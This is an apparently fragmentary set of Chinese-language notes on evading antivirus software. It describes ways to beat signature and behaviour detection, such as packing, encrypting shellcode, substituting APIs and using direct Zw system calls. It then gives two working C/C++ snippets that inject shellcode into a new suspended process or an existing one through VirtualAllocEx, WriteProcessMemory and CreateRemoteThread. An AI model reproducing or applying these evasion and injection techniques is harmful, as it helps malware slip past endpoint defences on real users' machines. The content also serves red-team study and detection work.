目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。

对特征来讲,大多数杀毒软件会定义一个阈值,当文件内部的特征数量达到一定程度就会触发报警,也不排除杀软会针对某个EXP会限制特定的入口函数来查杀。当然还有通过md5,sha1等hash函数来识别恶意软件,这也是最简单粗暴,最容易绕过的。针对特征的免杀较为好做,可以使用加壳改壳、添加/替换资源、修改已知特征码/会增加查杀概率的单词(比如某函数名为ExecutePayloadshellcode)、加密Shellcode等等。

CreateThread CreateThreadEx

xxx -> ntdll.dll -> win32API

对行为来讲,很多个API可能会触发杀软的监控,比如注册表操作、添加启动项、添加服务、添加用户、注入、劫持、创建进程、加载DLL等等。针对行为的免杀,我们可以使用白名单、替换API、替换操作方式(如使用WMI/COM的方法操作文件)等等方法实现绕过。除常规的替换、使用未导出的API等姿势外,我们还可以使用通过直接系统调用的方式实现,比如使用内核层面Zw系列的API,绕过杀软对应用层的监控(如下图所示,使用ZwAllocateVirtualMemory函数替代VirtualAlloc)。

ThreadHijacking
VirtualAllocEx(CreateNewProcess)

```
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,//有扩展启动信息的结构体
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi);

HANDLE notepadHandle = pi.hProcess;
LPVOID remoteBuffer = VirtualAllocEx(notepadHandle, NULL, sizeof data, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

WriteProcessMemory(notepadHandle, remoteBuffer, data, sizeof data, NULL);
HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) {
    return 1;
}

if (ResumeThread(pi.hThread) == -1) {
    return 1;
}
```

VirtualAllocEx(Use existing app)

```
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, procID);
if (hProc == INVALID_HANDLE_VALUE) {
    printf("Error opening process ID %d\n", procID);
    return 1;
}

void *alloc = VirtualAllocEx(hProc, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
if (alloc == NULL) {
    printf("Error allocating memory in remote process\n");
    return 1;
}
if (WriteProcessMemory(hProc, alloc, shellcode, sizeof(shellcode), NULL) == 0) {
    printf("Error writing to remote process memory\n");
    return 1;
}
HANDLE tRemote = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)alloc, NULL,
    0, NULL);
if (tRemote == INVALID_HANDLE_VALUE) {
    printf("Error starting remote thread\n");
    return 1;
}
WaitForSingleObject(tRemote, INFINITE) == WAIT_FAILED
```

VirtualProtect